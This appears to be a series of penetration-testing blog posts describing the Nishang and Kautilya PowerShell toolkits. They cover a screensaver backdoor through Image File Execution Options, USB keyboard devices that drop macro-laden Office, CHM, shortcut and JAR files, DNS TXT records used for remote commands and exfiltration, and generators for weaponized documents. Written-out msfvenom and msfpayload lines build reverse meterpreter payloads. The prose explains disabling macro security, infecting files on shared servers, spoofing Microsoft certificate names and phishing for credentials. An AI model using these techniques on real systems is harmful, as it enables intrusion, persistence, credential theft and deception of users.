Saturday, February 28, 2015

Using Windows Screensaver as a Backdoor with PowerShell

I came across this interesting post about bypassing Windows Lock Screen via Flash Screensaver. While bypassing the lock screen is useful, the method mentioned there needs physical access to the target. This feature of Windows could be used for much more fun without physical access. The fact that Screensaver would run our payload whenever the target would be idle makes it much useful as a backdoor. 
Lets see!

Using below simple PowerShell command, from an elevated shell, we can run an executable whenever Screensaver timeout occurs, assuming that the Screensaver in use is the built-in Ribbons.scr
And when the timeout occurs we have a command prompt (which may keep running in a loop). Fun, but needs physical access!

To quickly test screensaver execution, I used MonitorES from here.

Using PowerShell, we can do some neat stuff with this. For example, using the below one liner we can download and execute scripts. We can always change the script on the webserver so a new script could be executed everytime the screensaver starts.
Above could be used to execute PowerShell scripts and modules.

Now, to make it less suspicious for a user, we should be able to launch the screensaver alongwith our command/script. Let me give you, Add-ScrnSaveBackdoor.

Add-ScrnSaveBackdoor

It reads the value of Windows registry key HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE to check for the existing Screensaver. If none exists, one from the default ones which exist in C:\Windows\System32 is used.

A Debugger to the screensaver is created at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\. It is the value of the "Debugger" to this key where it writes the payload. A screensaver selected from the default ones is added to this payload. When the payload is executed, the screensaver also runs after it to make it appear legit.

Below command shows how to use Add-ScrnSaveBackdoor to execute FireBuster from Nishang for Egress Testing. The FireListener must be started on the attacker's machine:

Below command executes HTTP-Backdoor from Powerpreter:

And use the below command to execute an in-memory meterpreter in PowerShell format generated using msfvenom (./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell):
Aaaand...

Bingo! With the help of PowerShell, we used this method which required physical access for remote access. It works fine with the "On resume, display logon screen" setting. We can always change contents of the script URL to execute different scripts using the same backdoor.

The source for Add-ScrnSaveBackdoor could be found in Nishang github repo.

Below video shows a walkthrough of the source code and shows Add-ScrnSaveBackdoor in action to pop a reverse_https meterpreter.

Meh!

Administrative  privilege (elevated shell) is required to use Add-ScrnSaveBackdoor.

SCRNSAVE.EXE could be used for evil is known for much longer time. http://www.securityfocus.com/archive/1/434926/30/0/threaded

"Image File execution Options" could be used for evil is also known. So AV *may* catch it.

This setting "can be superceded by the No screen saver Group Policy"



Hope you enjoyed this! Please leave comments and feedback.

If you like this and want to learn more, please checkout my two day training "PowerShell for Hackers" at Troopers 15 on 16th-17th March (https://www.troopers.de/events/troopers15/292_powershell_for_hackers/) or other trainings I am doing at various conferences in the right pane.

Tuesday, January 27, 2015

Dropping infected/weaponized files using a Human Interface Device

This post discusses dropping infected/weaponized files on a target using a Human Interface Device. I am always against using mounted SD cards in a HID. In my experience, it increases the chances of detection and blocking. Using HID without SD card limits the capability of dropping files to much extent. But it is still possible to drop files using HID, a Teensy 3.0, without having to mount additional storage.

Kautilya now has a new category of attacks - "Drop Files". Following payloads have been added.
- Drop a MS Word file
- Drop a Excel file
- Drop a CHM (Compiled HTML Help) file
- Drop a Shortcut (.LNK) file
- Drop a JAR file


Lets have a look at these payloads.

Drop a MS Word file

Use this to drop a MS Word file on a target. The Word file contains an auto executable Macro which executes when the document is opened. PowerShell commands and scripts could be executed. While a command could be simply provided as an option, to execute a script following PowerShell one-liner should be used:
Below screenshot shows a screen for this payload.


The generated sketch needs to be uploaded to a HID. On a target, the HID drops a PowerShell script which generates the infected MS Word file on the Desktop of current user. 

Drop a MS Excel file

This payload is similar to the MS Word payload so no need of looking at it. PowerShell scripts and commands could be passed in the same way to it.

Drop a CHM (Compiled HTML Help) file

This payload drops a weaponized CHM file on a target. Since, compiling CHM files requires HTML Help Workshop, the CHM file is generated on attacker's machine, compressed into a zip archive and byte encoded. This encoded file is written to the HID as a byte array and is then dropped on the target as a zip archive and decompressed. The byte array is quite big even after compression so the time taken by HID to type it on a target is much longer than other payloads. Kautilya shows a warning when this payload is selected.

We have to use Out-CHM in the extras directory of Kautilya to generate the CHM. The script also compresses it and creates a byte encoded text file from it. From a PowerShell prompt use this:
Note that we must have HTML Help Workshop installed on the attacking machine. It could be downloaded from here: http://www.microsoft.com/en-us/download/details.aspx?id=21138

Above command outputs a text file encodedchm.txt. It has to be copied to lib/src directory in Kautilya. The file is read by Kautilya and the sketch (.ino file) is generated to be written to HID.
On a victim, the HID drops the zip, uncompresses it, deletes zip and leaves the CHM on the current user's desktop.

Drop a Shortcut (.LNK) file

This payload drops a shortcut file (.lnk) on a target machine. The shortcut is set to the path powershell.exe which is. by default, same on every machine and the command/script is passed as an argument to it. We can also assign hotkey and icon to the shortcut. Interestingly, assigning a hotkey means every time the user presses that key our weaponized shortcut file would execute ;)

When the HID is connected to a target. A shortcut is created on the current user's desktop. Whenever a user clicks on the shortcut or presses the hotkey the specified command or script would be executed.

Drop a JAR file

Use this payload to drop a JAR file on a target. Like the CHM file attack, the JAR is to be created using Out-Java in the extras directory. This payload also takes much more time than other paylods in Kautilya.
From a PowerShell prompt use this:
Above command outputs a text file encodedjar.txt. It has to be copied to lib/src directory in Kautilya. The file is read by Kautilya and the sketch (.ino file) is generated to be written to HID.
On a victim, the HID drops the JAR on the current user's desktop.

Below video shows the MS Word attack in action. Its my first video so please share your feedback :)


Neat!

So we can drop weaponized files on a target while using only the Keyboard emulation on a programmable HID. A useful addition to an attacker's toolchest. Kautilya could be found here: https://github.com/samratashok/Kautilya

Hope you enjoyed this!

I am doing trainings on "PowerShell for Penetration Testers" during March 2015.  A one day training at CanSecWest on 14th March (details here) and a two day training at Troopers on 16th-17th March 2015 (details here).

Tuesday, January 20, 2015

Fun with DNS TXT Records and PowerShell

This post discusses using DNS TXT records with PowerShell for command, script and shellcode execution . Nishang and Kautilya have two payloads and data exfiltration methods based on DNS TXT records. There was a lot of room for improvement and there has been some considerable changes in the payloads.

Out-DnsTxt


We need a DNS server under our control to create TXT records. I use ZoneEdit.com for this. Nishang now has a new script called Out-DnsTxt.ps1 under the Utility category. This script takes as input a PowerShell script, command or a shellcode and outputs a text file containing compressed and Base64 encoded strings. Each newline separated string is the value we need to save as TXT record on our DNS. The lenght of a DNS TXT record assumed by the script is 255 characters.

Lets see an example. Below command encodes Get-Process cmdlet.

As the input was small Out-DnsTxt notified that only one TXT record needs to be created. Lets save it to command.alteredsecurity.com


Lets try it with a full script.

This time Out-DnsTxt tells us that three txt records need to be created. The encodedtxt.txt looks like this:
It would be better if the help is removed from a script before it is encoded to save space. Though, we have not done it in the above example.

Each line of this encoded script goes into a TXT record. Lets create three TXT records 1.alteredsecurity.com, 2.alteredsecurity.com and 3.alteredsecurity.com each containing a line from encodedtxt.txt. Lets query 1.alteredsecurity.com for its TXT records and see what it contains.



Now to use these, we have to use DNS_TXT_Pwnage backdoor from Nishang.

DNS_TXT_Pwnage

This backdoor is capable of receiving PowerShell commands and scripts from TXT records. Lets try running the command we saved to command.alteredsecurity.com.

And the result is:

Great! Here's how it works.

The contents of TXT records of StartDomain are compared with Cmdstring and PsString for instructions. If its contents matches Cmdstring, the CommandDomain is queried for a Command as in the above case and if its contents match PsString, the PSDomain is queried. The parameter Subdomain specify the number of subdomains of PSDomain which must be queried.

Lets see an example where we try running a script. We just need to change the content of start.alteredsecurity.com to "startscript" which is our magic string for executing scripts. As we have provided Subdomains 3, the script would query 1.script.alteredsecurity.com upto 3.script.alteredsecurity.com. Here is how the ZoneEdit control panel looks right now:

Ok, now when we run the above command, this is the result.

Neat! We executed Get-WLAN-Keys on the target. This opens up a very useful channel for communication.

DNS_TXT_Pwnage also provides exfiltration and reboot persistence capabilities similar to other backdoors in Nishang. While those could be seen in the script help, particluarly interesting to mention here is the DNS exfiltration option. If you have control over a DNS server which logs TXT queries made to it, it could be used for exfiltration.

I have blogged about exfiltration in detail in this post:

This is how the DNS server log may look:
Use Invoke-Decode from Utility directory to decode the above.

Now, lets try to drop some infected MS Word documents on a target using this script. We will use Out-Word from the Client directory for this. Since Out-Word needs arguments to be passed to it, lets make the function call from the script itself and remove the help. Out-DnsTxt shows the difference clearly. Before removing help 14 TXT records need to be created, after doing that only 9:

After creating 1 to 9.word.alteredsecurity.com, lets use DNS_TXT_Pwnage on the target:


Awesome! We are able to drop malicious/infected/weaponized Word documents with the help of DNS TXT records. Note the use of the parameter NoLoadFunction, it has been used because we were making the function call for Out-Word from the script itself.


Some pecularities to note for DNS_TXT_Pwnage: 
UPDATE (March 2015): DNS_TXT_Pwnage, after commit 101 in Nishang, supports passing Arguments to the downloaded scripts. Commands in the above demos have also been modified.

1.Arguments
Arguments to be passed to the downloaded script. For scripts in Nishang, you should pass the function name aling with parameters. For example, see that Get-WLAN-Keys is passed as -Arguments in above examples.

1. NoLoadFunction
This parameter is used for specifying that the script used in txt records $psdomain does NOT load a function. If the parameter is not specified the payload assumes that the script pulled from txt records would need function name to be executed. This need not be specified if you are using scripts from any popular PowerShell security tool.
2. AuthNS
If AuthNS, that is the Authorized NameServer of the domain under our control, is specified, the changes done to TXT records are almost immediately available to the backdoor running on the target. For example, you could remotely stop the backdoor by modifying the TXT record of start.alteredsecurity.com in above example if you are using AuthNS. Without AuthNS, it would take a longer time. But the flip side is that chances of detection increases. To avoid detection, it would be better to leave the query resolution to the target's default nameserver.

We could always use separate domains. One for serving instructions, another for commands, another one for scripts etc. It depends on the stealth requirements.

Now, lets try to execute shellcode.

Execute-DNSTXT-Code

Execute-DNSTXT-Code could be used to execute shellcode using the TXT records. 

Use below command to generate a shellcode using msfvenom:

./msfvenom -p windows/x64/meterpreter/reverse_https -f powershell LHOST=192.168.254.226 > pspayload64.txt

The above shellcode is encoded and Out-DnsTxt informs that 5 TXT records need to be created. Lets create 1.64.alteredsecurity.com to 5.64.alteredsecurity.com for 64 bit target and 1.32.alteredsecurity.com to 5.32.alteredsecurity.com. The script is able to check if it is running on a 64-bit PowerShell process or 32-bit, the appropriate domains are queried for shellcode.

To use the TXT records generated using Out-DnsTxt for above, we have to use Execute-DNSTXT-Code from Execution directory in Nishang.

And here is the result.
Bingo! A meterpreter served using DNS TXT records and the execution takes place entirely in memory!

Updated Nishang code could be find here: https://github.com/samratashok/nishang

That is all! Hope you enjoyed this. Feedback and bug reports are welcome.

If this looks interesting to you, I am doing trainings on "PowerShell for Penetration Testers" during March 2015.  A one day training at CanSecWest on 14th March (details here) and a two day training at Troopers on 16th-17th March 2015 (details here).

Thursday, December 25, 2014

Using Nishang with Cobalt Strike

This (very) quick post explains usage of Nishang with Cobalt Strike. Someone left a comment on a post asking for it, so here it is.


Raphael already wrote a blog post explaining how to use PowerShell scripts with Cobal Strike's beacon. Using Nishang's script is no different.

1. Use powershell-import in a Beacon session to load a PowerShell script in memory of target.
2. Use powershell to execute it.

Below example shows how to use Get-WLAN-Keys.

Lets try a script which needs arguments to be passed to it. Lets use HTTP-Backdoor which needs many arguments, the PayloadURL is set to 'ls'.

That's all! If you find any porblem in running Nishang scripts with Cobal Strike or any other tool, drop a comment or ping me on twitter or drop me an email, I would be happy to help.




Friday, November 28, 2014

Using PowerShell for Client Side Attacks

This blog post details everything I spoke about at DeepSec [slides here] plus much more.

 tl;dr: Try the new scripts from Nishang here.

Why using Client Side Attacks with PowerShell?

When I started working on this, I just thought of using PowerShell scripts and payloads for client side attacks and not of the generator scripts. There are many awesome Social Engineering tools out there, then why PowerShell? There are many reasons, first and foremost, coding a tool not only helps in understanding the attacks but also improves the grasp over that language. Other reasons, like the tremendous power with PowerShell, easy availability on Windows targets, no or low detection rate, easy post exploitation also motivated me.

With this blog post, a newer version of Nishang with "Client" category of attacks is also being released.
Lets have a look at the scripts one-by-one.
 

Out-Word

Out-Word, as the name suggests, outputs a MS Word file with auto executable macro which runs given PowerShell commands and scripts.
Lets see it in action.

Above command, writes a Word file called Salary_Details.doc in the current directory. When the file is opened, the PowerShell command Get-Process will be executed on the target.

We could also use PowerShell one-liner download-execute to execute scripts on the target. For example, lets pass the PowerShell code generated using msfpayload (./msfpayload windows/x64/meterpreter/reverse_tcp LHOST=192.168.254.183 exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1)



Now, if a target opens up the doc generated by above command, it would download and execute the PowerShell script resulting in a nice meterpreter session. Great!

We could also pass arguments to the script. This is helpful if the script being executed loads a function. This holds true for Nishang and other PowerShell security related toolkits too.

In the above command, we have passed the name of the function loaded by Get-Information.ps1 as an argument to actually execute the functionality of the script, Otherwise, it would end up just loading the function. Alternatively, we can make a function call in the script itself.

The ability to pass arguments is also useful if we want to use a script module like Powerpreter with Out-Word. Lets try calling a backdoor function from Powerpreter.

We could also use Encoded scripts with the Out-Word to avoid communication with the Internet as in case with the above method. The Macro code seems to insert a new line if a long EncodedCommand is passed to it, which breaks the code. We could use the compression and encoding available with Invoke-Encode in Nishang to generate a much smaller command for an encoded string. Use –PostScriptCommand switch to use it. It is based on the Compress-Post script by Carlos here.

We must properly escape the single quotes (‘) in the generated command to be able to use it with Out-Word.

Notice the escaping of single quotes using two single quotes in the compressed script. Still, I was unable to use big scripts with this option. Your mileage may vary.

There is more to Out-Word than this. It could also be used to infect/arm/weaponize  - I love the word weaponize *giggles* - existing Word files on a machine. It does so by creating copies of the existing files loaded with the auto executable macro. We just need to pass –WordFileDir parameter with it.The data in the original Word is also copied in the new one.



Use –Recurse parameter to perform the action recursively. Use the –RemoveDocx parameter to remove the original docx files.


Macro Security with Out-Word:
It disables the Macro Security on the machine the computer on which it is executed. That is, if you execute the PowerShell script on the target, the user will not see any warning about Macros. If you send the generated Word doc to the user, he will see the usual macro warning. Disabling Macro security is necessary otherwise we would be unable to write macros to the Word file.

To safely use Out-Word, we could use –RemainSafe parameter which re-enables the macro security after doing the stuff.

Now, imagine we get access to a fileserver and want to infect files there and increase the chances of users opening the infected files. Out-Word uses couple of small but smart tricks to try fooling users in case –WordFileDir is being used.

1. It copies the LastWriteTime from the .docx files and assign it to the generated .doc file. So at least to a normal user, the .doc files would not appear to be something newly appeared.

2. If the extensions for known file types are hidden on the machine, Out-Word adds .docx extension to the generated infected doc files. For example, for a file IT-Assets.docx it generates an infected file IT-Assets.docx.doc.

EDIT/UPDATE: Many are asking but it is not possible to add password protection to the Macros programatically. So if you want to add passwords to macros, it must be done manually.


file_extension

The Macro code for both Out-Word and Out-Excel has been directly taken from Matt’s code here. Check out his blog for more interesting work on using PowerShell for client side attacks. Also, see this post by by Matthew Graeber on analysing Powerworm, couple of whose features have been implemented in Out-Word.

Out-Excel


Out-Excel works exactly same for Excel files as Out-Word for Word files. All the options and features are available for Out-Excel as well. We may have a better chance of a user trusting Macros in Excel than in Word.

Out-Shortcut


Lets see another interesting script, Out-Shortcut. It creates a shortcut which could be used to execute command and scripts on a target computer.

It could be used for executing commands:



Note the absence of powershell.exe in the payload above. Out-Shortcut could also be used for every attack method discussed above. Lets discuss features exclusive to Out-Shortcut.

It is easier to use encodedcomands with Out-Shortcut. We could just use Invoke-Encode with –OutCommand parameter and pass the generated encoded script to Out-Shortcut as below:



Out-Shortcut assigns a default hotkey ‘F5’ to the Shortcut. This executes Shortcut whenever the key is pressed until the file is either deleted or machine reboot. A small but useful trick :) It also assigns icon of “explorer.exe” to the created shortcut. We could change both the options using –Hotkey and –Icon parameters as shown below:



Note that, the Hotkey works only if the script is executed on the target.

Out-Shortcut is inspired from the attack mentioned in this blog at Trend Micro.

Out-Java


Out-Java could be used for Java Applet attacks. The script generates a signed JAR and HTML which uses the applet tag to load the JAR. The JAR and HTML need to be hosted on a web server and as soon as the target opens that URL, we would be in!

The script by-default self signs the JAR. We must have JDK on our machine to be able to compile and sign the Java code.

As other scripts in Nishang’s client side attack category, Out-Java is able to execute commands, encoded scripts and download-execute scripts. Here’s a simple example:



Again, we could pass encoded PowerShell scripts, even the bigger ones, without any issue.

If we the –NoSelfSign parameter, a non-signed JAR is generated which could later be signed with a trusted certificate.

The Java code uses Operating System architecture detection and calls 32-bit PowerShell even on 64-bit computers. So, in case we need to execute shellcode, it could always be 32-bit. For example, lets generate a 32-bit reverse_tcp meterpreter in PowerShell and pass it to Out-Java. Use (./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.254.183 exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1). Encode it with Invoke-Encode with  –OutCommand parameter and:



In case, someone wants to run 64-bit shellcode, just remove the if condition from Java source. It has been marked with a comment.

Below options are hardcoded in Out-Java for certificate creation and JAR signing, change those for customization:

$KeystoreAlias = "SignApplet"
$KeyStore = "PSKeystore"
$StorePass = "PSKeystorePass"
$KeyPass = "PSKeyPass"
$DName = "cn=Windows Update, ou=Microsoft Inc, o=Microsoft Inc, c=US"

These are deliberately not asked for in the PowerShell parameters to keep the usage simple.


BTW, the latest Java version shows really ugly warning to the users, so using a valid certificate would increase chances of successful attacks. Still, I have not seen many targets who pay attention to such warnings. Also, the HTML generated using Out-Java loads a live Microsoft page in an attempt to make it look authentic. The better option is to clone a page and use it but that has not been done. If I feel like, that would be added in a future release.MS_Applet

Sadly, I was unable to achieve the PowerShell execution from applet for my DeepSec talk. Anyway, now it works.

References for this have been taken from David Kennedy’s Social Engineering Toolkit. Also, what got md working again on this was Piotr Marszalik’s Ps1encode

Out-HTA


Out-HTA uses HTML application (HTA) to achieve PowerShell command and script execution. It generates HTA and VBS files which need to be hosted on a web server and a target needs to click/open the URL.

Like the other client side attacks we have been discussing, Out-HTA accepts as a payload – commands, encoded scripts and download-execute scripts.

A quick example is shown below:



Out-HTA also handles large encoded scripts really well, so that would be the best to use in this case.

The flip side of using HTA is the loud warnings Internet explorer shows to the user. If the user sees FireFox, it appears to be similar to downloading an executable. Out-HTA loads live page of Windows Defender from Microsoft’s website in an attempt to trick a user.

Out-CHM

Out-CHM creates Compiled HTML Help file (CHM) which could execute PowerShell scripts and commands on the target.

We need hhc.exe (HTML Help Workshop) on the attacker’s machine. HTML Help Workshop is a free Microsoft Tool and could be downloaded from below link:
http://www.microsoft.com/en-us/download/details.aspx?id=21138

A quick example of using Out-CHM is below:



Out-CHM uses files from tcp/ip help file in Windows to make the file look authentic. We could always add more html files to make it look like a real document. Larger scripts, if used encoded, may result in problems.

Out-CHM is based on this tweet by @ithurricanept https://twitter.com/ithurricanept/status/534993743196090368

Common Features and shortcomings


- All scripts run PowerShell in a new process, so closing the attack vector, be it an attachment or a link, would have no effect on the script being executed.

- Each script accepts encoded scripts, commands and one line download-execute.

- The attacks are not very hard to detect manually. More needs to be done on that part.

Better/Complex Attacks


Lets see some more attacks which take us beyond just meterpreter. These are also on the slides of my talk but lets see some here too:

Exfiltration of credentials from a target:



Above command calls the Credentials function from Powerpreter which shows a password prompt to target user. This prompt doesn’t go away till valid local or domain credentials are entered. The output of Credentials function is piped to Do-Exfiltration which exfiltrates those to a web server in encoded format. The web server must log POST requests.

The logs from the web server could be decoded using Invoke-Decode;.

Running a backdoor with new communications channel:



Above command runs the Gupt Backdoor on the target.

Executing  other client side attacks:



Above command, uses Out-Java to execute Out-Word on a target. Out-Word then infects all Word files in C:\ recursively. Such files when opened, would execute meterpreter PowerShell script.

There are endless possibilities for such and even better attacks.

All the above discussed code has been committed to Nishang under the Client directory. You could grab it from here: https://github.com/samratashok/nishang

Again, the slides for my DeepSec talks could be found here.

Hope you enjoy this and the code and the post turns out to be useful.